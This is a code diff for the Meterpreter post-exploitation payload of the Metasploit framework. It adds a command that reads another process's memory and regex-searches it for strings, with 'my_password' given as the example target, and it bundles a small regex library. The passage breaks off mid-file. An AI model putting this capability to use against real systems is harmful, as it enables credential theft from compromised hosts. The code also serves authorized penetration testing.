diff --git a/c/meterpreter/source/common/common_command_ids.h b/c/meterpreter/source/common/common_command_ids.h index f7ee80d66..e9951eecd 100755 --- a/c/meterpreter/source/common/common_command_ids.h +++ b/c/meterpreter/source/common/common_command_ids.h @@ -174,6 +174,7 @@ #define COMMAND_ID_STDAPI_AUDIO_MIC_START 1115 #define COMMAND_ID_STDAPI_AUDIO_MIC_STOP 1116 #define COMMAND_ID_STDAPI_AUDIO_MIC_LIST 1117 +#define COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH 1119 #define COMMAND_ID_PRIV_ELEVATE_GETSYSTEM 2001 #define COMMAND_ID_PRIV_FS_BLANK_DIRECTORY_MACE 2002 #define COMMAND_ID_PRIV_FS_BLANK_FILE_MACE 2003 diff --git a/c/meterpreter/source/extensions/stdapi/server/stdapi.c b/c/meterpreter/source/extensions/stdapi/server/stdapi.c index cfa15fd8d..c9f54d2d0 100644 --- a/c/meterpreter/source/extensions/stdapi/server/stdapi.c +++ b/c/meterpreter/source/extensions/stdapi/server/stdapi.c @@ -69,6 +69,7 @@ Command customCommands[] = COMMAND_REQ(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_PROTECT, request_sys_process_memory_protect), COMMAND_REQ(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_LOCK, request_sys_process_memory_lock), COMMAND_REQ(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_UNLOCK, request_sys_process_memory_unlock), + COMMAND_REQ(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH, request_sys_process_memory_search), // Thread COMMAND_REQ(COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_OPEN, request_sys_process_thread_open), diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c index 597f5d964..8fd759ec7 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c @@ -1,5 +1,89 @@ #include "precomp.h" #include "common_metapi.h" +#include "../tiny-regex-c/re.h" + +#ifndef __kernel_entry +#define __kernel_entry +#endif + +typedef __kernel_entry NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS) (HANDLE ProcessHandle, DWORD ProcessInformationClass, LPVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); + +typedef SIZE_T(WINAPI* VIRTUALQUERYEX) (HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); + +typedef BOOL(WINAPI* CLOSEHANDLE) (HANDLE hObject); + +typedef HANDLE(WINAPI* OPENPROCESS) (DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); + +typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName); + +// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtReadVirtualMemory.html +// https://ntdoc.m417z.com/ntreadvirtualmemory +typedef NTSTATUS(NTAPI* NTREADVIRTUALMEMORY) (HANDLE ProcessHandle, LPCVOID BaseAddress, LPVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); + +// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FMEMORY_INFORMATION_CLASS.html +typedef enum _MEMORY_INFORMATION_CLASS { + MemoryBasicInformation +} MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING* PUNICODE_STRING; +typedef const UNICODE_STRING* PCUNICODE_STRING; + +// https://learn.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; + +typedef +VOID +(NTAPI* PPS_POST_PROCESS_INIT_ROUTINE) ( + VOID + ); + +typedef struct _PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + BYTE Reserved4[104]; + PVOID Reserved5[52]; + PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; + BYTE Reserved6[128]; + PVOID Reserved7[1]; + ULONG SessionId; +} PEB, * PPEB; + +typedef struct _PROCESS_BASIC_INFORMATION { + PVOID Reserved1; + PPEB PebBaseAddress; + PVOID Reserved2[2]; + ULONG_PTR UniqueProcessId; + PVOID Reserved3; +} PROCESS_BASIC_INFORMATION; +typedef PROCESS_BASIC_INFORMATION* PPROCESS_BASIC_INFORMATION; + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation = 0, + ProcessWow64Information = 26 +} PROCESSINFOCLASS; /*! * @brief Allocates memory in the context of the supplied process. @@ -339,3 +423,223 @@ DWORD request_sys_process_memory_unlock(Remote *remote, Packet *packet) return ERROR_SUCCESS; } + +BOOL can_read_memory(DWORD memory_protect) +{ + const int page_execute_read = 0x20; + const int page_execute_readwrite = 0x40; + const int page_readonly = 0x02; + const int page_readwrite = 0x04; + + return memory_protect == page_execute_read || + memory_protect == page_execute_readwrite || + memory_protect == page_readonly || + memory_protect == page_readwrite; +} + +typedef struct { + re_t compiled_regex[MAX_REGEXP_OBJECTS]; + unsigned char buffer[MAX_CHAR_CLASS_LEN]; // Used for character strings when "[]" is used. +} RegexNeedle; + +#define NEEDLES_MAX (size_t)5 +#define MEMORY_BUFFER_SIZE (size_t)(64 * 1024 * 1024) + +/// +/// Add the needle results to a packet. This automatically inserts each result into a new group. Returns ERROR_SUCCESS on success, or 1 on failure. +/// +/// The packet to insert the needle group into +/// ERROR_SUCCESS on success, else non-zero +NTSTATUS add_needle_results_to_packet(Packet* packet, const unsigned char* memory_buffer_ptr, size_t match_length, size_t match_address, size_t memory_base_address, size_t memory_region_size) +{ + if (packet == NULL || memory_buffer_ptr == NULL) { return ERROR_INVALID_PARAMETER; } + + dprintf("[MEM SEARCH] Creating results group"); + Packet* search_results = met_api->packet.create_group(); + if (search_results == NULL) { dprintf("[MEM SEARCH] Could not create search result group"); return ERROR_OUTOFMEMORY; } + + dprintf("[MEM SEARCH] Adding results to packet group"); + // Note: This raw data needs to be read from the buffer we copied. Trying to read it from mem.BaseAddress directly will make us crash. + met_api->packet.add_tlv_raw(search_results, TLV_TYPE_MEMORY_SEARCH_MATCH_STR, (LPVOID)memory_buffer_ptr, (DWORD)match_length + 1); + met_api->packet.add_tlv_qword(search_results, TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR, match_address); + met_api->packet.add_tlv_qword(search_results, TLV_TYPE_MEMORY_SEARCH_START_ADDR, memory_base_address); + met_api->packet.add_tlv_qword(search_results, TLV_TYPE_MEMORY_SEARCH_SECT_LEN, memory_region_size); + met_api->packet.add_tlv_uint(search_results, TLV_TYPE_MEMORY_SEARCH_MATCH_LEN, (UINT)match_length); + + met_api->packet.add_group(packet, TLV_TYPE_MEMORY_SEARCH_RESULTS, search_results); + + return ERROR_SUCCESS; +} + +static HMODULE hKernel32 = NULL; +static HMODULE hNTDLL = NULL; + +static GETPROCADDRESS fGetProcAddress = NULL; +static OPENPROCESS fOpenProcess = NULL; +static CLOSEHANDLE fCloseHandle = NULL; +static VIRTUALQUERYEX fVirtualQueryEx = NULL; +static NTREADVIRTUALMEMORY fNtReadVirtualMemory = NULL; + +NTSTATUS setup_handles() +{ + if ((hKernel32 = GetModuleHandleA("kernel32.dll")) == NULL) { dprintf("[MEM SEARCH] Could not get kernel32.dll handle"); return ERROR_INVALID_HANDLE; } + + if ((hNTDLL = GetModuleHandleA("ntdll.dll")) == NULL) { dprintf("[MEM SEARCH] Could not get ntdll.dll handle"); return ERROR_INVALID_HANDLE; } + + if ((fGetProcAddress = (GETPROCADDRESS)GetProcAddress(hKernel32, "GetProcAddress")) == NULL) { dprintf("[MEM SEARCH] Could not get GetProcAddress handle"); return ERROR_INVALID_ADDRESS; } + + if ((fVirtualQueryEx = (VIRTUALQUERYEX)fGetProcAddress(hKernel32, "VirtualQueryEx")) == NULL) { dprintf("[MEM SEARCH] Could not get VirtualQueryEx handle"); return ERROR_INVALID_ADDRESS; } + + if ((fOpenProcess = (OPENPROCESS)fGetProcAddress(hKernel32, "OpenProcess")) == NULL) { dprintf("[MEM SEARCH] Could not get OpenProcess handle"); return ERROR_INVALID_ADDRESS; } + + if ((fCloseHandle = (CLOSEHANDLE)fGetProcAddress(hKernel32, "CloseHandle")) == NULL) { dprintf("[MEM SEARCH] Could not get CloseHandle handle"); return ERROR_INVALID_ADDRESS; } + + if ((fNtReadVirtualMemory = (NTREADVIRTUALMEMORY)fGetProcAddress(hNTDLL, "NtReadVirtualMemory")) == NULL ) { dprintf("[MEM SEARCH] Could not get NtReadVirtualMemory handle"); return ERROR_INVALID_ADDRESS; } + + return ERROR_SUCCESS; +} + +/* + * Read through all of a process's virtual memory in the search for regular expression needles. + * + * req: TLV_TYPE_PID - The target process ID. + * req: TLV_TYPE_MEMORY_SEARCH_NEEDLE - The regular expression needle to search for. + * req: TLV_TYPE_UINT - The minimum length of a match. + * req: TLV_TYPE_MEMORY_SEARCH_MATCH_LEN - The maximum length of a match. + */ +DWORD request_sys_process_memory_search(Remote* remote, Packet* packet) +{ + Packet* response = met_api->packet.create_response(packet); + DWORD result = ERROR_SUCCESS; + unsigned char* memory_buffer = NULL; + size_t needle_enum_index = 0; + HANDLE process_handle = NULL; + RegexNeedle regex_needles[NEEDLES_MAX] = { NULL }; + + dprintf("[MEM SEARCH] Getting PID"); + const DWORD pid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID); + if (pid == 0) { result = ERROR_INVALID_PARAMETER; goto done; } + dprintf("[MEM SEARCH] Searching PID: %lu", pid); + + Tlv needle_tlv = { 0 }; + while (needle_enum_index < NEEDLES_MAX && met_api->packet.enum_tlv(packet, (DWORD)needle_enum_index, TLV_TYPE_MEMORY_SEARCH_NEEDLE, &needle_tlv) == ERROR_SUCCESS) + { + dprintf("[MEM SEARCH] Compiling needle regex from TLV"); + const int result = re_compile(needle_tlv.buffer, needle_tlv.header.length - 1, (re_t)®ex_needles[needle_enum_index].compiled_regex, (unsigned char*)®ex_needles[needle_enum_index].buffer); + if (result != ERROR_SUCCESS) + { + dprintf("[MEM SEARCH] Failed to setup compile needle regex from TLV packet"); + goto done; + } + + needle_enum_index++; + } + + dprintf("[MEM SEARCH] Getting Match Lengths"); + const size_t min_match_length = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_UINT); + const size_t max_match_length = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_MEMORY_SEARCH_MATCH_LEN); + if (min_match_length > max_match_length || max_match_length == 0) { dprintf("[MEM SEARCH] Incorrect min or max match lengths"); result = ERROR_INVALID_PARAMETER; goto done; } + const size_t current_max_match_length = max_match_length; + + dprintf("[MEM SEARCH] Getting handles & proc addresses"); + if ((result = setup_handles()) != ERROR_SUCCESS) + { + dprintf("[MEM SEARCH] Could not set up all necessary handles & proc addresses"); + goto done; + } + + const DWORD process_vm_read = 0x0010; + const DWORD process_query_information = 0x0400; + const DWORD wanted_process_perms = process_vm_read | process_query_information; + + dprintf("[MEM SEARCH] Opening process"); + process_handle = fOpenProcess(wanted_process_perms, FALSE, pid); + if (process_handle == NULL) { dprintf("[MEM SEARCH] Could not get process handle"); result = ERROR_INVALID_HANDLE; goto done; } + + MEMORY_BASIC_INFORMATION mem = { 0 }; + dprintf("[MEM SEARCH] Allocating buffer for storing process memory"); + memory_buffer = (unsigned char*)malloc(MEMORY_BUFFER_SIZE * sizeof(unsigned char)); + if (memory_buffer == NULL) { dprintf("[MEM SEARCH] Could not allocate memory buffer"); result = ERROR_OUTOFMEMORY; goto done; } + + for (size_t current_ptr = 0; fVirtualQueryEx(process_handle, (LPCVOID)current_ptr, &mem, sizeof(mem)); current_ptr += mem.RegionSize) + { + if (!can_read_memory(mem.Protect)) { continue; } + + size_t memory_region_offset = 0; + // Note: This currently does not support regex'ing over multiple memory regions. + // e.g. + // regex = "my_password.*"; + // | ....my_pas | sword.... | + while (mem.RegionSize > memory_region_offset) + { + const size_t leftover_bytes = mem.RegionSize - memory_region_offset; + const size_t bytes_to_read = min(leftover_bytes, MEMORY_BUFFER_SIZE * sizeof(unsigned char)); + dprintf("[MEM SEARCH] Leftover Bytes count: %llu", leftover_bytes); + dprintf("[MEM SEARCH] Bytes to read: %llu", bytes_to_read); + size_t bytes_read = 0; + + const size_t read_address = (size_t)mem.BaseAddress + memory_region_offset; + // Note: This will read up to a maximum of bytes_to_read OR to the end of the memory region if the end of it has been reached. + if (fNtReadVirtualMemory(process_handle, (LPCVOID)read_address, memory_buffer, bytes_to_read, &bytes_read) != ERROR_SUCCESS) + { + dprintf("[MEM SEARCH] Failed to read some virtual memory for process, skipping %u bytes", bytes_to_read); + memory_region_offset += bytes_to_read; + continue; + } + + dprintf("[MEM SEARCH] Read %llu bytes", bytes_read); + // Note: Increment the offset so that we aren't stuck in an infinite loop, trying to read zero bytes from the same pointer. + if (bytes_read == 0) { dprintf("[MEM SEARCH] Read zero bytes from a readable memory region"); memory_region_offset += bytes_to_read; continue; } + + for (size_t current_needle_index = 0; current_needle_index < needle_enum_index; current_needle_index++) + { + size_t current_buffer_offset = 0; + size_t match_length = 0; + int match_result = -1; + + do + { + const unsigned char* current_buffer_ptr = memory_buffer + current_buffer_offset; + const size_t bytes_to_regex = bytes_read - current_buffer_offset; + + match_result = re_matchp((re_t)®ex_needles[current_needle_index].compiled_regex, current_buffer_ptr, bytes_to_regex, current_max_match_length, &match_length); + + if (match_result != -1) + { + const size_t match_address = read_address + current_buffer_offset + match_result; + dprintf("[MEM SEARCH] -- ! FOUND A REGEX MATCH ! --"); + dprintf("[MEM SEARCH] Address: %p", match_address); + + if (match_length < min_match_length) + { + dprintf("[MEM SEARCH] Match length was too short, skipping."); + current_buffer_offset += (match_result + match_length); + continue; + } + + const unsigned char* memory_buffer_ptr = memory_buffer + current_buffer_offset + match_result; + if (add_needle_results_to_packet(response, memory_buffer_ptr, match_length, match_address, (size_t)mem.BaseAddress, mem.RegionSize) != ERROR_SUCCESS) + { + dprintf("[MEM SEARCH] Adding search results to packet was not successful"); + } + + current_buffer_offset += (match_result + match_length); + } + } while (result != -1); + } + + memory_region_offset += bytes_to_read; + } + } + + result = ERROR_SUCCESS; + +done: + dprintf("[MEM SEARCH] Memory Search complete."); + if (memory_buffer != NULL) { dprintf("[MEM SEARCH] Freeing process memory buffer."); free(memory_buffer); } + if (process_handle != NULL) { dprintf("[MEM SEARCH] Closing process handle."); fCloseHandle(process_handle); } + + dprintf("[MEM SEARCH] Transmitting response"); + met_api->packet.transmit_response(result, remote, response); + return ERROR_SUCCESS; +} diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.h b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.h index da04b4d23..85ca089cf 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.h +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.h @@ -46,6 +46,7 @@ DWORD request_sys_process_memory_query(Remote *remote, Packet *packet); DWORD request_sys_process_memory_protect(Remote *remote, Packet *packet); DWORD request_sys_process_memory_lock(Remote *remote, Packet *packet); DWORD request_sys_process_memory_unlock(Remote *remote, Packet *packet); +DWORD request_sys_process_memory_search(Remote *remote, Packet *packet); // Thread DWORD request_sys_process_thread_open(Remote *remote, Packet *packet); diff --git a/c/meterpreter/source/extensions/stdapi/stdapi.h b/c/meterpreter/source/extensions/stdapi/stdapi.h index 7ee5303a3..adc2b5b52 100755 --- a/c/meterpreter/source/extensions/stdapi/stdapi.h +++ b/c/meterpreter/source/extensions/stdapi/stdapi.h @@ -98,6 +98,15 @@ #define TLV_TYPE_REGISTER_VALUE_32 MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 2542 ) #define TLV_TYPE_REGISTER MAKE_CUSTOM_TLV( TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_STDAPI, 2550 ) +// Memory - Taken from Mettle: https://github.com/rapid7/mettle/blob/master/mettle/src/tlv_types.h#L262 +#define TLV_TYPE_MEMORY_SEARCH_NEEDLE MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 2650 ) +#define TLV_TYPE_MEMORY_SEARCH_RESULTS MAKE_CUSTOM_TLV( TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_STDAPI, 2651 ) +#define TLV_TYPE_MEMORY_SEARCH_MATCH_LEN MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 2652 ) +#define TLV_TYPE_MEMORY_SEARCH_START_ADDR MAKE_CUSTOM_TLV( TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_STDAPI, 2653 ) +#define TLV_TYPE_MEMORY_SEARCH_SECT_LEN MAKE_CUSTOM_TLV( TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_STDAPI, 2654 ) +#define TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR MAKE_CUSTOM_TLV( TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_STDAPI, 2655 ) +#define TLV_TYPE_MEMORY_SEARCH_MATCH_STR MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 2656 ) + // Registry #define TLV_TYPE_HKEY MAKE_CUSTOM_TLV( TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_STDAPI, 1000 ) #define TLV_TYPE_ROOT_KEY TLV_TYPE_HKEY diff --git a/c/meterpreter/source/tiny-regex-c/README.md b/c/meterpreter/source/tiny-regex-c/README.md new file mode 100644 index 000000000..a32fdb14e --- /dev/null +++ b/c/meterpreter/source/tiny-regex-c/README.md @@ -0,0 +1,3 @@ +# tiny-regex-c + +This library is taken from https://github.com/kokke/tiny-regex-c/tree/2d306a5a71128853d18292e8bb85c8e745fbc9d0 - with changes to support null-bytes. diff --git a/c/meterpreter/source/tiny-regex-c/re.c b/c/meterpreter/source/tiny-regex-c/re.c new file mode 100644 index 000000000..98eaf66cd --- /dev/null +++ b/c/meterpreter/source/tiny-regex-c/re.c @@ -0,0 +1,488 @@ +/* + * + * Mini regex-module inspired by Rob Pike's regex code described in: + * + * http://www.cs.princeton.edu/courses/archive/spr09/cos333/beautiful.html + * + * + * + * Supports: + * --------- + * '.' Dot, matches any character + * '^' Start anchor, matches beginning of string + * '$' End anchor, matches end of string + * '*' Asterisk, match zero or more (greedy) + * '+' Plus, match one or more (greedy) + * '?' Question, match zero or one (non-greedy) + * '[abc]' Character class, match if one of {'a', 'b', 'c'} + * '[^abc]' Inverted class, match if NOT one of {'a', 'b', 'c'} -- NOTE: feature is currently broken! + * '[a-zA-Z]' Character ranges, the character set of the ranges { a-z | A-Z } + * '\s' Whitespace, \t \f \r \n \v and spaces + * '\S' Non-whitespace + * '\w' Alphanumeric, [a-zA-Z0-9_] + * '\W' Non-alphanumeric + * '\d' Digits, [0-9] + * '\D' Non-digits + * + * + */ + + +#include "re.h" +#include +#include + +/* Definitions: */ + +enum { UNUSED, DOT, BEGIN, END, QUESTIONMARK, STAR, PLUS, CHAR_RE, CHAR_CLASS, INV_CHAR_CLASS, DIGIT, NOT_DIGIT, ALPHA, NOT_ALPHA, WHITESPACE, NOT_WHITESPACE, /* BRANCH */ }; + +/* Private function declarations: */ +static int matchpattern(regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_size, size_t* matchlength); +static int matchcharclass(char c, const char* str); +static int matchstar(regex_t p, regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_size, size_t* matchlength); +static int matchplus(regex_t p, regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_size, size_t* matchlength); +static int matchone(regex_t p, char c); +static int matchdigit(char c); +static int matchalpha(char c); +static int matchwhitespace(char c); +static int matchmetachar(char c, const char* str); +static int matchrange(char c, const char* str); +static int matchdot(char c); +static int ismetachar(char c); + +/* Public functions: */ +int re_matchp(re_t pattern, const char* text, size_t text_length, size_t max_match_length, size_t* matchlength) +{ + if (max_match_length == 0) { return -1; } + *matchlength = 0; + + if (pattern == 0 || text_length == 0) { return -1; } + + if (pattern[0].type == BEGIN) + { + return ((matchpattern(&pattern[1], text, text_length, 0, max_match_length, matchlength)) ? 0 : -1); + } + + int idx = -1; + + do + { + idx += 1; + + if (matchpattern(pattern, text, text_length, idx, max_match_length, matchlength)) + { + return idx; + } + } + while ((size_t)idx < text_length); + + return -1; +} + +int re_compile(const char* pattern, size_t pattern_length, re_t compiled_regex, unsigned char* regex_char_buffer) +{ + int ccl_bufidx = 1; + + char c; /* current char in pattern */ + int i = 0; /* index into pattern */ + int j = 0; /* index into re_compiled */ + + while (i < (int)pattern_length && (j + 1 < MAX_REGEXP_OBJECTS)) + { + c = pattern[i]; + + switch (c) + { + /* Meta-characters: */ + case '^': { compiled_regex[j].type = BEGIN; } break; + case '$': { compiled_regex[j].type = END; } break; + case '.': { compiled_regex[j].type = DOT; } break; + case '*': { compiled_regex[j].type = STAR; } break; + case '+': { compiled_regex[j].type = PLUS; } break; + case '?': { compiled_regex[j].type = QUESTIONMARK; } break; + /* case '|': { compiled_regex[j].type = BRANCH; } break; <-- not working properly */ + + /* Escaped character-classes (\s \w ...): */ + case '\\': + { + if (i + 1 < (int)pattern_length) + { + /* Skip the escape-char '\\' */ + i += 1; + /* ... and check the next */ + switch (pattern[i]) + { + /* Meta-character: */ + case 'd': { compiled_regex[j].type = DIGIT; } break; + case 'D': { compiled_regex[j].type = NOT_DIGIT; } break; + case 'w': { compiled_regex[j].type = ALPHA; } break; + case 'W': { compiled_regex[j].type = NOT_ALPHA; } break; + case 's': { compiled_regex[j].type = WHITESPACE; } break; + case 'S': { compiled_regex[j].type = NOT_WHITESPACE; } break; + + /* Escaped character, e.g. '.' or '$' */ + default: + { + compiled_regex[j].type = CHAR_RE; + compiled_regex[j].u.ch = pattern[i]; + } break; + } + } + else + { + compiled_regex[j].type = CHAR_RE; + compiled_regex[j].u.ch = pattern[i]; + } + } break; + + /* Character class: */ + case '[': + { + /* Remember where the char-buffer starts. */ + int buf_begin = ccl_bufidx; + + /* Look-ahead to determine if negated */ + if (pattern[i + 1] == '^') + { + compiled_regex[j].type = INV_CHAR_CLASS; + i += 1; /* Increment i to avoid including '^' in the char-buffer */ + if (i + 1 == (int)pattern_length) /* incomplete pattern, missing non-zero char after '^' */ + { + return 1; + } + } + else + { + compiled_regex[j].type = CHAR_CLASS; + } + + /* Copy characters inside [..] to buffer */ + while ((pattern[++i] != ']') + && (i < (int)pattern_length)) /* Missing ] */ + { + if (pattern[i] == '\\') + { + if (ccl_bufidx >= MAX_CHAR_CLASS_LEN - 1) + { + //fputs("exceeded internal buffer!\n", stderr); + return 1; + } + if (i + 1 == (int)pattern_length) /* incomplete pattern, missing non-zero char after '\\' */ + { + return 1; + } + regex_char_buffer[ccl_bufidx++] = pattern[i++]; + } + else if (ccl_bufidx >= MAX_CHAR_CLASS_LEN) + { + //fputs("exceeded internal buffer!\n", stderr); + return 1; + } + regex_char_buffer[ccl_bufidx++] = pattern[i]; + } + if (ccl_bufidx >= MAX_CHAR_CLASS_LEN) + { + /* Catches cases such as [00000000000000000000000000000000000000][ */ + //fputs("exceeded internal buffer!\n", stderr); + return 1; + } + /* Null-terminate string end */ + regex_char_buffer[ccl_bufidx++] = 0; + compiled_regex[j].u.ccl = ®ex_char_buffer[buf_begin]; + } break; + + /* Other characters: */ + default: + { + compiled_regex[j].type = CHAR_RE; + compiled_regex[j].u.ch = c; + } break; + } + + i += 1; + j += 1; + } + /* 'UNUSED' is a sentinel used to indicate end-of-pattern */ + compiled_regex[j].type = UNUSED; + + return 0; // ERROR_SUCCESS +} + +void re_print(regex_t* pattern) +{ + const char* types[] = { "UNUSED", "DOT", "BEGIN", "END", "QUESTIONMARK", "STAR", "PLUS", "CHAR", "CHAR_CLASS", "INV_CHAR_CLASS", "DIGIT", "NOT_DIGIT", "ALPHA", "NOT_ALPHA", "WHITESPACE", "NOT_WHITESPACE", "BRANCH" }; + + int i; + int j; + char c; + for (i = 0; i < MAX_REGEXP_OBJECTS; ++i) + { + if (pattern[i].type == UNUSED) + { + break; + } + + printf("type: %s", types[pattern[i].type]); + if (pattern[i].type == CHAR_CLASS || pattern[i].type == INV_CHAR_CLASS) + { + printf(" ["); + for (j = 0; j < MAX_CHAR_CLASS_LEN; ++j) + { + c = pattern[i].u.ccl[j]; + if ((c == '\0') || (c == ']')) + { + break; + } + printf("%c", c); + } + printf("]"); + } + else if (pattern[i].type == CHAR_RE) + { + printf(" '%c'", pattern[i].u.ch); + } + printf("\n"); + } +} + + + +/* Private functions: */ +static int matchdigit(char c) +{ + return isdigit(c); +} +static int matchalpha(char c) +{ + return isalpha(c); +} +static int matchwhitespace(char c) +{ + return isspace(c); +} +static int matchalphanum(char c) +{ + return ((c == '_') || matchalpha(c) || matchdigit(c)); +} +static int matchrange(char c, const char* str) +{ + return ( (c != '-') + && (str[0] != '\0') + && (str[0] != '-') + && (str[1] == '-') + && (str[2] != '\0') + && ( (c >= str[0]) + && (c <= str[2]))); +} +static int matchdot(char c) +{ +#if defined(RE_DOT_MATCHES_NEWLINE) && (RE_DOT_MATCHES_NEWLINE == 1) + (void)c; + return 1; +#else + return c != '\n' && c != '\r'; +#endif +} +static int ismetachar(char c) +{ + return ((c == 's') || (c == 'S') || (c == 'w') || (c == 'W') || (c == 'd') || (c == 'D')); +} + +static int matchmetachar(char c, const char* str) +{ + switch (str[0]) + { + case 'd': return matchdigit(c); + case 'D': return !matchdigit(c); + case 'w': return matchalphanum(c); + case 'W': return !matchalphanum(c); + case 's': return matchwhitespace(c); + case 'S': return !matchwhitespace(c); + default: return (c == str[0]); + } +} + +static int matchcharclass(char c, const char* str) +{ + do + { + if (matchrange(c, str)) + { + return 1; + } + else if (str[0] == '\\') + { + /* Escape-char: increment str-ptr and match on next char */ + str += 1; + if (matchmetachar(c, str)) + { + return 1; + } + else if ((c == str[0]) && !ismetachar(c)) + { + return 1; + } + } + else if (c == str[0]) + { + if (c == '-') + { + return ((str[-1] == '\0') || (str[1] == '\0')); + } + else + { + return 1; + } + } + } + while (*str++ != '\0'); + + return 0; +} + +static int matchone(regex_t p, char c) +{ + switch (p.type) + { + case DOT: return matchdot(c); + case CHAR_CLASS: return matchcharclass(c, (const char*)p.u.ccl); + case INV_CHAR_CLASS: return !matchcharclass(c, (const char*)p.u.ccl); + case DIGIT: return matchdigit(c); + case NOT_DIGIT: return !matchdigit(c); + case ALPHA: return matchalphanum(c); + case NOT_ALPHA: return !matchalphanum(c); + case WHITESPACE: return matchwhitespace(c); + case NOT_WHITESPACE: return !matchwhitespace(c); + default: return (p.u.ch == c); + } +} + +static int matchstar(regex_t p, regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_length, size_t* matchlength) +{ + size_t prelen = *matchlength; + const char* prepoint = text; + while ((text_offset < text_length) && (max_match_length > *matchlength) && matchone(p, text[text_offset])) + { + text_offset++; + (*matchlength)++; + } + while (&text[text_offset] >= prepoint) + { + if (matchpattern(pattern, text, text_length, text_offset--, max_match_length, matchlength)) + return 1; + (*matchlength)--; + } + + *matchlength = prelen; + return 0; +} + +static int matchplus(regex_t p, regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_length, size_t* matchlength) +{ + const char* prepoint = text; + while ((text_offset < text_length) && (max_match_length > *matchlength) && matchone(p, text[text_offset])) + { + text_offset++; + (*matchlength)++; + } + while (text > prepoint) + { + if (matchpattern(pattern, text, text_length, text_offset--, max_match_length, matchlength)) + return 1; + (*matchlength)--; + } + + return 0; +} + +static int matchquestion(regex_t p, regex_t* pattern, const char* text, size_t text_length, size_t text_offset, size_t max_match_length, size_t* matchlength) +{ + if (p.type == UNUSED) + return 1; + if (matchpattern(pattern, text, text_length, text_offset, max_match_length, matchlength)) + return 1; + if ((text_offset < text_length) && (max_match_length > *matchlength) && matchone(p, text[text_offset++])) + { + if (matchpattern(pattern, text, text_length, text_offset, max_match_length, matchlength)) + { + (*matchlength)++; + return 1; + } + } + return 0; +} + + +#if 0 + +/* Recursive matching */ +static int matchpattern(regex_t* pattern, const char* text, int *matchlength) +{ + int pre = *matchlength; + if ((pattern[0].type == UNUSED) || (pattern[1].type == QUESTIONMARK)) + { + return matchquestion(pattern[1], &pattern[2], text, matchlength); + } + else if (pattern[1].type == STAR) + { + return matchstar(pattern[0], &pattern[2], text, matchlength); + } + else if (pattern[1].type == PLUS) + { + return matchplus(pattern[0], &pattern[2], text, matchlength); + } + else if ((pattern[0].type == END) && pattern[1].type == UNUSED) + { + return text[0] == '\0'; + } + else if ((text[0] != '\0') && matchone(pattern[0], text[0])) + { + (*matchlength)++; + return matchpattern(&pattern[1], text+1); + } + else + { + *matchlength = pre; + return 0; + } +} + +#else + +/* 